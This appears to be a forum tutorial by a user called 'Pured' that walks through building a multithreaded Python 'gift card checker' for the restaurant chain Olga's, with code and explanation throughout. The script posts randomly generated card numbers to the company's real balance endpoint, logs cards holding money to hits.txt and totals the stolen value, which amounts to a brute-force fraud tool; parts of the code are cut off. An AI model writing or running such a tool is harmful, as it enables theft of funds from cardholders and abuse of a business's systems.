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make an olgas gc checker in python

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today i will be teaching you how to make an olgas gc checker ez in python enjoy

First you need to import the needed modules and set some things

import requests, threading, time, getpass, ctypes
from decimal import Decimal, DecimalException
startTime = time.time()
f2 = open('hits.txt', 'w')
total = '0.00'
hit = 0

We will import the important and needed modules so we can make this work. we need the start time because we will have a function that shows us how long it took to check all of the gcs. then we will have to make a file called hits which saves the hits. we also need to set the total hits and total $ at the begining.

Second we need to make a request to the olgas server and return the gc balance

def check(card):
   global hit
   global total
   url = 'https://www.olgas.com/getGiftCardBalance.php'
   apiSender = requests.session()
   source = (apiSender.post(url, data={'cardNumber': card})).text
   if source != '$0.00':
       print(card + ' | ' + source)
       balance = source[1:]
       total = float(total)
       total = float(balance) + total
       hit += 1
       f2.write(card + ' | ' + source + '\n')
       ctypes.windll.kernel32.SetConsoleTitleW(f'''Olgas GC Checker | By Pured | Hits: {hit} | Total price of all cards: ${(str(round(total, 2)))}''')

we have to define this at first. second we need to set the global hit and total which we set as 0 at the beginning. these r used to show the totals hits and $. next this is were we use the request module to send a request to the server to get the gc balance. look here https://prnt.sc/ngbsf7 and https://prnt.sc/ngbsq7 . we found out the needed info. so now we need to send a request and have the card number as data being sent. then if it is a success  it will print the balacne and card # to the console and write it to hits.txt. we also will change the title of the console with the stats.

Third we need to open a file of random generated codes and thread

f1 = open('codes.txt', 'r')
for line in f1:
   t1 = threading.Thread(target=check, args=(line.strip(),))
   while threading.active_count() > 200:



here we will open a file called codes.txt with random generated cards in the form of olgas gcs. then we will thread so we can do this fast.

last we print the results and stop everthing

Hits: {hit} | Total money: ${(str(round(total, 2)))} | Time elapsed: {(str(round(time.time() - startTime, 2)))}s''')


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